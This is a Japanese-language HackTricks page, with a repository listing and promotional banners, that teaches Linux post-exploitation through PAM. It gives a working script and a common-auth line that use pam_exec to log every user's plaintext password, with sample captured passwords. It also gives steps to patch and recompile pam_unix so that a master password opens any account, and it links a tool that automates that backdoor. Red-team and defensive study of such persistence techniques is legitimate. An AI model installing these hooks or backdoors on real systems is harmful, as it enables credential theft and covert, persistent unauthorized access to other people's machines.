hacktricks/linux-hardening/linux-post-exploitation
2024-01-06 23:23:09 +00:00
..
pam-pluggable-authentication-modules.md Translated ['generic-methodologies-and-resources/shells/README.md', 'lin 2024-01-06 23:23:09 +00:00
README.md Translated ['generic-methodologies-and-resources/shells/README.md', 'lin 2024-01-06 23:23:09 +00:00

Linux Post-Exploitation

AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

PAMを使用したログオンパスワードのスニッフィング

PAMモジュールを設定して、ログインするたびに各ユーザーが使用するパスワードを記録しましょう。PAMが何かわからない場合は、以下をチェックしてください:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

まず、新しい認証が発生するたびに呼び出されるbashスクリプトを作成します。

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

変数はPAM固有のもので、pam_exec.soモジュールを介して利用可能になります。

変数の意味は以下の通りです:

  • $PAM_USER: 入力されたユーザー名。
  • $PAM_RHOST: リモートホスト通常はIPアドレス
  • $(cat -): これはstdinを読み込み、スクリプトが掴むパスワードが含まれます
  • 結果は/var/log/toomanysecrets.logのログファイルにパイプされます

ファイルの全ユーザーによる読み取りを防ぐためには、事前にファイルを作成してchmodを実行することを検討してください。例えば:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
次に、PAM設定ファイルを更新する必要があります。`pam_exec`モジュールを使用してスクリプトを呼び出します。

`/etc/pam.d/`には様々な設定ファイルがあり、`common-auth`を選択します。
sudo nano /etc/pam.d/common-auth

ファイルの一番下に、次の認証モジュールを追加してください:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

オプションの意味は以下の通りです:

  • optional: エラーが発生しても認証が失敗しないようにする(必須のステップではない)
  • pam_exec.so: 任意のスクリプトを呼び出すことができるPAMモジュールです
  • expose_authtok: stdinを通じてパスワードを読み取ることを可能にするトリックです
  • quiet: ユーザーにエラーを表示しない(何かがうまくいかない場合)
  • 最後の引数は、以前に作成されたシェルスクリプトです

最後に、ファイルを実行可能にします:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

さあ、これを試してみましょう。別のマシンからsshで接続するか、ローカルでログインします。

そして、ログファイルを見てください:

$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

PAMへのバックドアの仕掛け

PAMのソースコードに移動しましょう使用しているディストリビューションによって異なりますが、自分のものと同じバージョン番号を取得してください。そして、pam_unix_auth.cファイルの170/180行目あたりを見てみましょう

vi modules/pam_unix/pam_unix_auth.c
![](../../.gitbook/assets/image (651).png)

次の手順で変更しましょう:

![](../../.gitbook/assets/image (638) (2) (2).png)

これにより、**パスワード "0xMitsurugi"** を使用する任意のユーザーがログインできるようになります。

`pam_unix_auth.c` を再コンパイルし、pam_unix.so ファイルを置き換えます:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/

{% hint style="info" %} このプロセスは https://github.com/zephrax/linux-pam-backdoor で自動化できます。 {% endhint %}

参考文献

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法: